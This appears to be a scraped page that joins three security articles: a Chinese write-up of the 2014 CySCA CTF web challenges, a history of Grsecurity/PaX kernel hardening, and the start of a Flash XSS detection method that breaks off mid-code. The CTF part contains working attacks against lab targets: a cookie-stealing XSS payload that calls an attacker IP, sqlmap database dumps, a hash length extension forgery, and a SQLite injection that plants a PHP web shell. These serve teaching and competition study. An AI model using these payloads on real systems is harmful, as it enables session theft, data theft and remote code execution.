2014年澳大利亚信息安全挑战 CySCA CTF 官方write up Web篇

本文仅授权乌云网 *.wooyun.org转载

一年一度的澳洲CySCA CTF是一个由澳洲政府和澳洲电信Telstra赞助的信息安全挑战赛,主要面向澳洲各大学的安全和计算机科学专业的学生。CTF环境全部虚拟化并且需要openvpn才能进入。

第一题 非请勿入

说明:
一个只有VIP用户才能进去的blog,想办法进去后就能看到flag了。

解题:

打开burp和浏览器开始观察目标,我们发现了几个有意思的地方:

有个用户登录页面 login.php
blog导航栏里有个博客页面的链接,但是是灰色的无法点击也打不开
cookie有两个,PHPSESSID还有vip=0
cookie没有http only,有可能被xss到

vip=0,这有点明显,用burp或者浏览器cookie编辑工具把vip改成1,刷新页面后那个隐藏的链接可以打开了,打开后就是flag:

ComplexKillingInverse411

第二题 好吃的小甜饼

说明:
用已任何已注册用户的身份成功登录blog。

解题:
翻了翻这个博客,又发现了几个好玩的地方:

可以看博客内容
可以添加回复
用户Sycamore似乎正在看第二篇博客 view=2

Burp的内建插件 intruder可以用来在提交的参数里插入sql注入或者xss代码,Kali中自带了几个xss和sql注入的字典:

/usr/share/wfuzz/wordlist/Injections/SQL.txt
/usr/share/wfuzz/wordlist/Injections/XSS.txt

用这几个字典里的标准注入语句和xss代码对 GET view=?和 POST comment=?这两个参数过了一遍,没发现任何xss或者注入,于是我们决定对comment这个地方再仔细看看。

comment参数似乎过滤了不少东西,比如去掉了所有引号,转义了全部html特殊字符。但是似乎comment支持markdown语言里的斜体,粗体和链接标签,然后我们用burp intruder的xss测试在下面几个输入里面测试:

_test_
*test*
[test](test)

果然成功了,在markdown链接标签的链接名称的地方存在XSS:

[<script>alert('xss')</script>](test)

后续测试发现链接名称最长只能用30字符,翻了翻OWASP的XSS cheat sheet,https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
最短的是这个:

在Kali中,新建个文件 .j,里面放点偷cookie的js:
$.get('http://192.168.16.101?cookie='+document.cookie);
然后在同目录下用python开个http服务器:
python ­-m SimpleHTTPServer 80

发送XSS payload

[<script src=//192.168.16.101/.j>](test)

然后坐等目标上钩...
.
.
.
等了这么久怎么还没有?
原来是192.168.16.101这个ip太长了,payload被截断了……
再仔细想想,好像很多浏览器支持十进制IP的,于是我们的payload变成了:

[<script src=//3232239717/.j>](test)

好吧,其实还是超过了30位,不过比赛的时候这个长度被改成了75位所以无所谓了。

发送这个payload后,过了一会儿在控制台里出现了Python HTTP Server的日志:

172.16.1.80 ­ ­ [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200 ­
172.16.1.80 ­ ­ [20/Feb/2014 16:11:12] "GET
/?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301

伪造cookie刷新后拿到flag: OrganicShantyAbsent505

第三题 Nonce-Sense

说明:
Flag在数据库里。

解题:
用上面用户的cookie登录后逛了一下,发现用户可以在自己的blog下面删除评论,这个功能是通过ajax POST到deletecomment.php实现的,提交的内容里有CSRF token。

CSRF token会被最先检查,如果不对的话会直接返回错误,这样导致对提交的参数进行自动化测试会比较困难,好在burp提供了宏这个功能,可以让我们自动采集CSRF token然后提交。

每次POST到deletecomment.php这个页面都会返回一个不同的CSRF token,下次提交的时候必须带着才行。
我们可以用burp里的session handler中的宏来抓取,我建议你先读一下这篇:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­1/

通过SQL intruder插件,很快就可以发现在comment_id参数中存在SQL注入。

{"result":false,"error":"You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near
'\"' at line 1","csrf":"43b461afdd56f52f"}

找到注入点后,拿上顺手的SQLMAP和Burp的proxy session宏结合起来,参考这里:

http://labs.asteriskinfosec.com.au/fuzzing-­and­-sqlmap­-inside-­csrf-­protected­-locations-­part­2/

把sqlmap的请求都保存到文件里,并且确保更新session cookie

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
...
[17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
comparison on a sequence matcher. If no dynamic nor injectable parameters are
detected, or in case of junk results, refer to user's manual paragraph 'Page
comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
...
[17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
might be injectable (possible DBMS: 'MySQL')

...
heuristic (parsing) test showed that the back­end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk
(1)? [Y/n] n
...
[17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND error­based ­
WHERE or HAVING clause' injectable
...
POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n

现在我们确认了sqlmap和burp都正确配置了,接下来就可以把库拖下来了。

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
­­current­db
current database:    'cysca'

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­­tables
Database: cysca

#> sqlmap ­r /root/sql­web3­headers
[5 tables]
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+
| user                                  |
| blogs                                 |
| comments                              |
| flag                                  |
| rest_api_log                          |
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­T flag ­­dump
[1 entry]
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| flag                 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| CeramicDrunkSound667 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+

第四题:Hypertextension

说明:
在缓存控制面板里面找到flag。

解题:
控制面板是REST API的形式,在说明文档里面写了这个API有添加文件名然后读取文件内容的功能,也许我们能用这个功能来读取PHP源码?

首先需要找到API key,在上一题里似乎数据库中有个表名叫rest_api_log,我们用SQLMAP把表拖下来看看:


#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­T rest_api_log ­­dump
Database: cysca
Table: rest_api_log
[4 entries]

| id | method | params
| api_key          | created_on          | request_uri                 |

| 1  | POST   |
contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s
ig=235aca08775a2070642013200d70097a             | b32GjABvSf1Eiqry | 2014­02­21
09:27:20 | \\/api\\/documents          |
| 2  | GET    | _url=%2Fdocuments&id=2
| NULL             | 2014­02­21 11:47:01 | \\/api\\/documents\\/id\\/2 |
| 3  | POST   |
contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api.txt&api_sig=95a0e7dbe06
fb7b77b6a1980e2d0ad7d                           | b32GjABvSf1Eiqry | 2014­02­21
11:54:31 | \\/api\\/documents          |
| 4  | PUT    |
_url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api­
v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 2014­02­21
12:07:43 | \\/api\\/documents\\/id\\/3 |

利用里面的其中一条,放到curl里面测试一下,根据REST API的文档,curl命令应该是这样的:

#> curl ­X PUT ­d
'contenttype=text/plain&filepath=./documents/rest­api­v2.txt&api_sig=6854c04381284
dac9970625820a8d32b' ­H 'X­Auth: b32GjABvSf1Eiqry'

http://172.16.1.80/api/documents/id/3

根据文档,api_sig的值是在php里面生成的:

hashlib.md5(secret+'contenttypetext/plainfilepath./documents/rest­api­v2.txtid3').
hexdigest()

secret作为双方都共享的值,后面加上目标文件的路径,生成的md5 hash作为api签名,在不知道secret的情况下,似乎无法利用任意路径生成合法的签名。

但是真的是这样么?
几年前著名应用 Flickr曾经因为Hash签名使用方法不正确结果掉进了很大的坑里,那就是 Hash长度扩展攻击(Hash length extension attack),导致可以在不知道API secret的情况下伪造任意请求。
关于Flickr的坑请看这里:

http://netifera.com/research/flickr_api_signature_forgery.pdf

Hash长度扩展攻击能够实现是因为 foo=bar 和 fo=obar 会产生一样的hash签名,所以我们可以生成一个可以让我们在原参数后面添加新参数,并且签名还是可以通过检验的。

比如这个请求:

"contenttype=text/plain&filepath=./documents/rest­api­v2.txt"

如果我们把它改成:

"c=ontenttypetext/plain&filepath=./documents/rest­api­v2.txt&contenttype=text/plai
n&filepath=./index.php"

那么在计算hash的时候字符串就会变成这样:
SECRETcontenttypetext/plainfilepath=./documents/rest­api­v2.txtcontenttype=text/p
lainfilepath=./index.phpid3

因为数据在被hash的时候会被分割成固定长度的块,前面的块生成的hash会放入下一个块中和块的内容一起继续hash,直到最后一个块,最后一个块生成的hash就是我们最后得到的hash,也就是前面的api_sig。

现在我们知道了前面所有块产生的hash,如果我们自己再造一个块,把这个hash当成前面的块的hash放进我们自己建立的块中来hash一下会发生什么?

结果我们在不知道secret的情况下获得了可以在原文后添加任意内容并且产生合法hash的方法。

大部分web server在处理同样参数的不同内容时倾向于选择后面的,例如foo=1&foo=2,最后foo的值是2,
但是有些web server也会使用前面的,这样这个方法是不是就不能用了?

根据这个API的文档,参数和值会拼接在一起然后一起hash,例如,foo=bar&foo1=bar1会被变成字符串foobarfoo1bar1,所以假如我们把foo=bar变成fo=obar,拼接后的字符串还是foobarfoo1bar,这样我们就可以完全控制需要更改的参数了。

现在开始利用这个漏洞,首先下载并且编译工具 HashPump (https://github.com/bwall/HashPump),然后利用它来生成我们需要的hash。因为我们不知道secret的长度,所以需要穷举key的长度(hashpump的k参数)

#> ./hashpump ­s 6854c04381284dac9970625820a8d32b ­­data
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3 ­a
contenttypetext/plainfilepath./index.phpid3 ­k 16
4625e458d07cb19da70effa3d1c6dc14
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3\x80\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x
00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3

我们把每次尝试k值生成的hash和字符串用curl提交到服务器,直到服务器提示成功为止,经过多次测试,我们发现k值是16.

#> curl ­-X PUT -­d
'c=ontenttypetext/plainfilepath./documents/rest­api­v2.txtid3%80%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&file
path=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14'  ­H 'X­Auth:
b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3

接下来我们就成功获取了index.php的源码(成功的把index.php的源码作为document id 3 保存):

#> curl http://172.16.1.80/api/documents/id/3
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}
**** SNIP ****

似乎这个cache.php有点意思,我们改改上面的hash长度攻击利用代码,把index.php换成cache.php,这次我们成功的拿到了flag。

#> curl http://172.16.1.80/api/documents/id/3
**** SNIP ****
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
header('Location: /index.php');
die();
}
**** SNIP ****

第五题:注入空间 Injeption

说明:
Web篇最后的flag藏在 /flag.txt里,你能拿到么?

解题:
上一题cache.php里面的源码最后写了,提交的参数access的值必须是上一题flag的md5,浏览器打开cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 显示的是一个很简单的表单,表单提交了两个参数,URI和标题,在cache.php里面对这两个参数严格检查,比如URI参数前面必须是http://开头,服务器必须是本地,然后这个URI必须真实存在,不能是404.
标题被限制在40字符以内,但是不会过滤引号,似乎可以被注入。
我们尝试在标题里提交 /* ,返回了错误信息:

near "/*', '59ab7c9e3917a154ff56a43d08a262ab',
'http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error

熟悉的SQL显错注入,根据错误信息,后端数据库似乎是SQLite,通过查看lib/caching.php的源码我们可以确认这一点,通过源码我们还可以看出,URI所指向的页面内容被直接存进了数据库中。

考虑到40个字符的限制不能进行任何有利用价值的SQL注入,我们需要找到一个可以注入长字符串的方法,页面内容输出缓存的功能现在派上用场了。

幸运的是,我们可以控制并且注入没转义过的单引号到缓存页面,并且把缓存页面自己缓存了,把在标题中的几个较短的注入语句拼接在一起,一个完整的注入语句就能在缓存页面被存入数据库的时候执行。

这里有个很好用的SQLite注入 cheat sheet,可以直接通过注入拿shell!

http://atta.cked.me/home/sqlite3injectioncheatsheet

我们的目标是利用这段注入语句拿到shell:

',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b
VALUES ('<? system($_GET[''cmd'']); ?>');/*

我们如何用40个字符的长度注入122字符的SQL语句? SQL块注释!

这需要一些额外的转义并且把php的拼接指令'||'分开:

'',0);ATTACH DATABASE ''a.php'' AS a;/*
*/CREATE TABLE a.b (c text);INSERT /*
*/INTO a.b VALUES(''<? system($''||/*  */''_GET[''''cmd'''']); ?>'');/*

当这些标题一个个出现在缓存页面中的时候,我们把缓存页面给缓存了,我们的注入语句就被执行了,并且生成了webshell a.php

我们现在就可以在服务器上执行任意指令了! 比如 cat /flag.txt

#> curl http://172.16.1.80/a.php?cmd=cat+/flag.txt
CFlag: TryingCrampFibrous963

Web篇完结。

PaX的技术考古之旅

[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

|=—————————————————————————=|
|=——————-=[ I N S I G H T L A B S ]=——————=|
|=—————————————————————————=|
|=———————=[ PaX的技术考古之旅 ]=—————–=|
|=—————————————————————————=|
|=——————-=[ By Shawn the R0ck ]=——————–=|
|=—————————————————————————=|
|=———————–=[ July 18 2014 ]=————————–=|
|=—————————————————————————=|

–[ CONTENTS

0. What is Grsecurity/PaX

0.1 The origins of PaX

1. PaX talking about the *future* in 2003

1.1 VMA mirroring is the fuc*ing key

2. Exodus of Old School hackers

3. Reference

--[ 0. 什么是Grsecurity/PaX?

PaX是针对linux kernel的一个加固版本的补丁,它让linux内核的内存页受限于
最小权限原则,是这个星球上有史以来最极端和最优秀的防御系统级别0day的方
案,第1版的设计和实现诞生于2000年,那可是一个没有
ASLR/RELRO/NX/CANARY/FORITY/PIE都没有的年代,这些今天意义上的现代
mitigation技术不管是linux/windows/macosx都多少抄袭和模仿了PaX的设计和实
现,但有很多朋友会问:既然这东东这么厉害,为什么不在linux mainline里?
当年Linux内核不收PaX进入upstream是因为很多人觉得PaX不是那么的好维护,之
后linux内核推出了LSM( Linux Security Module),LSM利用了一堆CAPABILITY的
机制提供了一些限制用户态程序访问控制的接口,SELinux和Apparmor就是基于
LSM开发的,注意LSM并不是一个传统意义上的linux kernel module,至少在2个
地方不同于普通module:

1) 必须在bootloader启动内核时启动,不能在内核加载完后启动。
2) 不能同时启动2个LSM的实现。

但PaX Team是一群old school security hackers,他们认为LSM打破了
"security as a whole"的哲学,所以宁愿单独维护一个patch,一直到今天。其
实当人们谈到Gnu/Linux安全性比windows/OSX更好时,其实未必,至少linux内核
社区并没有把安全性放在首位,Linus Torvalds从来都不是太care安全问题,不
是吗?

当我们谈到PaX时都会写Grsecurity/PaX,这是怎么回事呢?PaX从一开始就主要
关注如何防御和检测memory corruption,后来Grsecurity社区发现PaX和他们所
关注的非常类似,所以就合并了,在很长的一段时间里PaX主要关注memory
corruption,而Grsecurity则实现其他的功能包括RBAC,但到最近2个社区的工作
开始模糊了:包括USERCOPY, STACKLEAK, RANDSTRUCT, etc..都是整个
Grsecurity/PaX共同实现的特性。

----[ 0.1 PaX的诞生

这个section描述的是这篇“过时”的论文[5],这是PaX的Genesis,1999年7月的
plex86社区[4](old school虚拟化社区之一)打算验证一个概念,当时Pentium(包
括P6family)处理器新增加了一个功能,就是CPU把TLB区分为DTLB(数据TLB)和
ITLB(指令TLB),TLB主要是PTE( page table entries)的缓存,因此存放着
user/kernel spaces的访问权限信息,在正常的情况下,ITLB和DTLB entries从
相同的PTE里读出相同的状态,但如果状态有所改变的话也就意味着可以把数据读
写和代码执行分开,如果这个POC能成功也就意味着可以对抗缓冲区溢出的最佳方
案,这个成为了今天的NX=>要么可读写要么可执行。

在PaX的初始设计文档中经过了对PTE中的2个flags的分析:

Present位,如果设置1,指向的page(或者page table)是存在于内存里的;如果
设置为0,page没有在内存里和保存的入口位(bits)可能会被OS用作其他用途。如
果page table或者page directory的入口需要执行地址转换(线性地址到物理地
址)时Present位被清0,会产生一个异常:page fault异常。

U/S位,权限管理,U->user space, S->kernel space

关于ITLB和DTLB的状态之间的转换这篇paper里已经有非常详细的描述,这里就不
多阐述了,linux内核的实现问题,虚拟内存管理的主要结构是vm_area_struct,
主要是描述连续的线性地址的一些属性包括
READ/WRITE/EXECUTE/SHARED/PRIVATE等,里面有2个结构体成员需要关注:
vm_flags,vm_page_prot。PaX在出现page fault的时候多增加了一些动作包括模
拟page table entry里的可访问U标志位和在模拟PTE中检查访问权限。

PaX的第一版的副作用也不小,
1,用户态可执行的栈是不可能的
2,性能损耗在5%–8%

old school社区plex86在1999年的一个概念验证建立了后来NX(目前是硬件支持)
的基础,个人觉得最有意思的地方是防御缓冲区溢出利用最早的策略是基于对于
TLB的研究导致的,这听起来怎么那么像emerging property, Out of C0ntrol?
KK? Ring the bell?

–[ 1. 2003年PaX谈"未来"

PaX在2003年的时候开始思考如何在未来[6](2003以后)在根本上根除漏洞利用,PaX
对于W-xor-X的实现非常奏效,具体在原始设计文档[7]里已经有所描述。

从defensive的平面来看,当时GNU/Linux平台主要依赖PaX的patch来进行加固(包
括ASLR),ASLR和NX进入linux内核mainstream是后来的事情,OpenBSD和Windows
XP SP2和OSX 10.5也加入了NX,但都是抄袭PaX的设计(或许也包括实现),

从offensive的平面来看,2003年的背景是stack-based overflow和string
format vuln已经泛滥,但ROP还没有大规模的流行,但old school社区对于ROP的
研究已经有相当的研究,包括Solar Designer在1997年发到bugtraq里的讨论:

http://seclists.org/bugtraq/1997/Aug/63

之后更精彩的paper是在2001年Phrack Issue 58里面:

http://phrack.org/archives/issues/58/4.txt

注意:2003年时SK的那篇Borrowed code chunks还没有发布。

2003年,PaX team认为会导致漏洞利用的bug给予了攻击者(区分攻击者和黑客是
不同的term)在3个不同层面上访问被攻击的进程:

(1) 执行任意代码
(2) 执行现有代码但打破了原有的执行顺序
(3) 原有的执行顺序执行现有代码,但加载任意数据

NOEXEC( Non-executable pages)和MPROTECT(mmap/mprotect)能防御(1),但有一
种情况是例外:如果攻击者能创建和写入一个文件然后mmap()到被攻击的进程空
间里,这样可以执行任意的代码。

ASLR在一定程度上降低了(1),(2),(3)的风险,但如果内核有信息泄露的bug例外。
PaX team在当时就认为把内核当成可信计算( Trusted Computing)的基础是一件
可笑的事情,因为内核跟用户空间一样容易遭受各种攻击。所以他们认为”未来”
需要做一些事情(注:这些事情今天都已经搞定):

(a) 尝试处理(1)不能处理的那个例外情况
(b) 实现所有可能在内核态自己的防御机制
(c) 为(2)实现确定性( deterministic)防护,可能也为(3)实现类似的机制
(d) 为(2)实现概率行( probalilistic)防护以实现阻止信息泄露

———————————————————-
处理(a)更好的解决方案是使用访问控制和可信路径执行来限制,Grsecurity的今
天就是这么做的
———————————————————

之后这篇文档里详细的罗列了针对(a)(b)(c)(d)需要去实现的加固方案。在下面
其实已经能看出一些后来出现的mitigation技术:Stack Canary, RELRO,
pointer constant/encryption?…可以参考:

https://raw.githubusercontent.com/citypw/security-regression-testing-for-suse/master/other/vulns_hardening_assessment.log

—-[ 1.1 2003年PaX里vma mirroring的设计

在2003年的晚些时候PaX实现了虚拟内存空间的镜像( vma mirroring)[8],vma
mirroring的目的是为了在一组物理页上做特殊文件隐射时有2个不同的线性地址,
这2个地址即使在swap-out/swap-in或者COW后依然是不会改变的。这样做的目的
为了满足几种场景:

1,把可执行的区域在使用SEGMEXEC隐射进入代码段。在32-bit的linux内核里的
4GB地址空间是其中3GB给用户空间,1GB给内核空间,而vma mirroring把用户空
间的3GB划分成了2个1.5GB分别是给代码段和数据段,在可执行区域里包含的数据
的部分(常量字符串,函数指针表等)都会mirroring到数据段里。

2,实现可执行区域的地址随机化( RANDEXEC)。

3,这个引出了第3种情况,就是SEGMEXEC和RANDEXEC同时激活,个人觉得这个的
效果应该和PIE+ASLR的效果类似,不同的不是整个elf binary的代码段随机化,
而是在mirroring时对代码段和数据段进行随机化。

之后这篇文章开始聊到实现的问题,对于一个普通的用户态binary在执行后,内
核得做一系列的工作,fs/binfmt_elf.c里的load_elf_binary()负责进程地址空
间的一些基本的映射包括stack,动态连接器和binary本身。而文件的映射是通过
elf_map()调用do_mmap()完成的。用户态binary的第1条指令从ld.so或者binary
自己fetch到后会raise一个page fault,linux内核内存管理是按需分配内存的,
所以在binary刚执行时是没有建立有效的物理映射的。x86架构的page fault
handler在arch/i386/mm/fault.c文件里的do_page_fault()去找到vma结构体,
VMA里包含了物理页的数据(ELF文件里的代码段, etc)。

当时的PaX的做法大致是这样的,vma mirror是根据已经内存映射mmap()后的地址,
用户态通过mmap()是无法直接去做vma mirror请求的,所有的mmap()请求多会经
过include/linux/mm.h的do_map(),PaX扩展( SEGMEXEC)也是在这个地方处理,
原始内核通过调用do_mmap_pgoff()来调用do_mmap(),PaX在这里为了确保
SEGMEXEC能知道来自用户态和内核态的原生文件映射请求所以略过
do_mmap_pgoff()而直接调用do_mmap(),而vma mirror请求使用一些特殊参数传
递给do_mmap_pgoff():

‘file’ 必须是NULL,因为mirror会引用相同文件的vma作为镜像
‘addr’ 正常使用
‘len’ 必须是0
‘prot’ 正常使用
‘flags’ 正常使用,除了一种情况:指定MAP_MIRROR和只能指定private映射
‘pgoff’ 指定vma的线性起始地址作为镜像

文章给出了一个例子:

#cp /bin/cat /tmp/
#/tmp/cat /proc/self/maps

激活PaX的2个功能: SEGMEXEC, MPROTECT

[1] 08048000-0804a000 R-Xp 00000000 00:0b 1109 /tmp/cat
[2] 0804a000-0804b000 RW-p 00002000 00:0b 1109 /tmp/cat
[3] 0804b000-0804d000 RW-p 00000000 00:00 0
[4] 20000000-20015000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
[5] 20015000-20016000 RW-p 00014000 03:07 110818 /lib/ld-2.2.5.so
[6] 2001e000-20143000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so
[7] 20143000-20149000 RW-p 00125000 03:07 106687 /lib/libc-2.2.5.so
[8] 20149000-2014d000 RW-p 00000000 00:00 0
[9] 5fffe000-60000000 RW-p fffff000 00:00 0
[10] 68048000-6804a000 R-Xp 00000000 00:0b 1109 /tmp/cat
[11] 80000000-80015000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
[12] 8001e000-80143000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so

这个binary是一个动态连接的可执行程序,所以在执行时会映射其他的库文件。

[1] 这个binary文件/tmp/cat的第1个PT-LOAD段映射为有读和执行的权限,包含
了可执行的代码和只读的初始化后的数据。因为是可执行的所以被[10]镜像。

[2] 第2个PT_LOAD段,映射为读写权限,包含了可写的数据(所有初始化和没有初
始化的)

[3] brk()管理的堆,在运行时会根据malloc()/free()来调整大小

[4][5] 动态连接器

[6][7] C库 ,[4][6]被映射到了[11][12],因为他们是可执行的。

[8] 一个针对C库的初始化数据的匿名映射

[9] 一个匿名映射包含了stack。我们能观察到这个地址在用户空间的数据部分的
结束地址,开启SEGMEXEC后是TASK_SIZE/2。

[10][11][12] 分别映射可执行镜像[1][4][6]。

激活PaX的3个功能的情况: SEGMEXEC,RANDEXEC,MPROTECT

[1] 08048000-0804a000 R-Xp 00000000 00:0b 1109 /tmp/cat
[2] 0804a000-0804b000 RW-p 00002000 00:0b 1109 /tmp/cat
0804b000-0804d000 RW-p 00000000 00:00 0
[3] 20000000-20002000 ++-p 00000000 00:00 0
[4] 20002000-20003000 RW-p 00002000 00:0b 1109 /tmp/cat
20003000-20018000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
20018000-20019000 RW-p 00014000 03:07 110818 /lib/ld-2.2.5.so
20021000-20146000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so
20146000-2014c000 RW-p 00125000 03:07 106687 /lib/libc-2.2.5.so
2014c000-20150000 RW-p 00000000 00:00 0
[5] 5fffe000-60000000 RW-p 00000000 00:00 0
[6] 80000000-80002000 R-Xp 00000000 00:0b 1109 /tmp/cat
80003000-80018000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
80021000-80146000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so

RANDEXEC有一些改变,[3]成了第1个可执行的PT_LOAD段的匿名映射,[4]成为第
2个PT_LOAD段的的mirror,[2]和[4]有相同的页偏移值,文档说[1]被[6]给
mirror后是超出了TASK/SIZE/2的范围,但个人觉得这个地方是代码段的区域所以
必然是在1.5G以上(如果数据段在0-1.5G的话),还有就是在RANDUSTACK开启后由
于stack的第1部分不能关闭随机化,所以多比第1个例子多占了1个page,这个怎
么得出的呢?靠我真不知道,可能是fffff000 xor ffffffff = fff来的?

激活PaX的3个功能的情况: PAGEEXEC, RANDEXEC, MPROTECT

[1] 08048000-0804a000 R–p 00000000 00:0b 1109 /tmp/cat
[2] 0804a000-0804b000 RW-p 00002000 00:0b 1109 /tmp/cat
0804b000-0804d000 RW-p 00000000 00:00 0
[3] 40000000-40002000 R-Xp 00000000 00:0b 1109 /tmp/cat
[4] 40002000-40003000 RW-p 00002000 00:0b 1109 /tmp/cat
40003000-40018000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
40018000-40019000 RW-p 00014000 03:07 110818 /lib/ld-2.2.5.so
40021000-40146000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so
40146000-4014c000 RW-p 00125000 03:07 106687 /lib/libc-2.2.5.so
4014c000-40150000 RW-p 00000000 00:00 0
bfffe000-c0000000 RW-p fffff000 00:00 0

最后的这种情况是vma mirroring所产生最简单的内存layout,只有binary本生被
镜像了,[1]被[3],[2]被[4]镜像了。注意[1]没有R-X权限了,在PAGEEXEC下只
有R–。

虽然现在的PaX实现肯定不是这个设计的版本,但读读原始的paper会有一些意想
不到的收获,也算技术进化考古的过程了;-)

–[ 2. Old School黑客的出埃及记

Grsecurity/PaX目前应用广泛,特别是具有高安全性的环境,Gnu/Linux发行版里
Gentoo提供PaX作为加固选项,最近半年Debian社区发起的对抗大规模监控的加固
项目Mempo在内核中也使用了Grsecurity/PaX。

这篇文章仅仅是在学习PaX的3篇paper里的记录,PaX的思路的确非常的震撼,那
都是10多年前的设计和实现,在这个一天云计算一天雾计算的年代,虽然关注本
质的黑客越来越少,但地下精神并未死去,PaX Team就是一个活生生的例证,相
反,不少old school黑客都坚信其实old school的数量并没有减少,至少我个人
相信这是真的...Phrack没死,Grsecurity/PaX没死,DNFWAH也没死,希望更多的
黑客分享自己的hacking之旅。

Phrack is not dead, Grsecurity/PaX is not dead, DNFWAH is not dead,
The Underground spirit is not dead.....If they were, that'd be on us!

=-------------------------------------------------------------------------------=

To one of the most respected old school communities:
Grsecurity/PaX. We/I salute you!!!

--[ 3. Reference

[1] The Case For grsecurity

https://grsecurity.net/the_case_for_grsecurity.pdf

[2] “Which is better, grsecurity or SELinux?”

https://grsecurity.net/compare.php

[3] Linux Security in 10 Years

https://grsecurity.net/spender_summit.pdf

[4] plex86

http://www.plex86.org/

[5] the original design & implementation of PAGEEXEC

https://pax.grsecurity.net/docs/pageexec.old.txt

[6] PaX future

https://pax.grsecurity.net/docs/pax-future.txt

[7] PAGEEXEC

https://pax.grsecurity.net/docs/pageexec.old.txt

[8] VMA mirroring

https://pax.grsecurity.net/docs/vmmirror.txt

[9] Mempo

http://mempo.org/

Automatically uncover XSS inside Flash

Author:piaca

0×00 Briefing


Nearly everyone has their own methods to uncover XSS inside Flash, whether using automated tool such as swfscan or manually decompiling swf file then audit the action script, all have their problems, for example:

  • Automated tools are often static code analzers which comes with high false positives, requires lots of manual inspection and confirmation.
  • Manual code audit has the best effects, but also the most exhausting.

In this article we will discuss a method to dynamically analysis the XSS vulnerabilities in Flash, it has its own advantages but also has some quite obvious disadvantages.

0×01 Theory


Dynamic analysis is basically load the Flash plugin using a program, then load the flash itself, pass some inputs then capture the event and error messages from the flash plugin to see whether it is vulnerable to XSS. Take Firefox for instance:

fl1 Open http://test.com/xss.swf?alert=1 with FF, Flash executed JS and alert window poped.

fl2Access http://test.com/xss.swf?alert=1\” with FF, Flash returned error, you can see the error message from Flash in the FF console. At this point the method is clear:

  • Program calls Firefox
  • Firefox loads Flash plugin
  • Firefox accesses a crafted link ie, http://test.com/xss.swf?alert=1\”
  • Program captures error message or alert event
  • Based on error message or event to determine if there is XSS

0×02 How to proof


Now to really do this in an automated way, we cant really use Firefox, but another opensource webkit browser instead.
Let me introduce you CasperJS:

CasperJS is an open source navigation scripting & testing utility written in Javascript for the PhantomJS WebKit headless browser and SlimerJS (Gecko).

CasperJS currently supports two different engines, PhantomJS(webkit kernel) and SlimerJS(Gecko Kenel). Gecko kernel is also used in Firefox. From the CapserJS docs, we can load the flash plugin when using SlimerJS. Therefore we can use CasperJS to achieve this:
flash_detect.js

var casper = require('casper').create({
pageSettings: {
loadImages: true,
loadPlugins: true // load flash plugin
},
logLevel: "info",
verbose: false
});

casper.start('about:blank', function() {});

// catch alert
casper.on('remote.alert', function(message) {
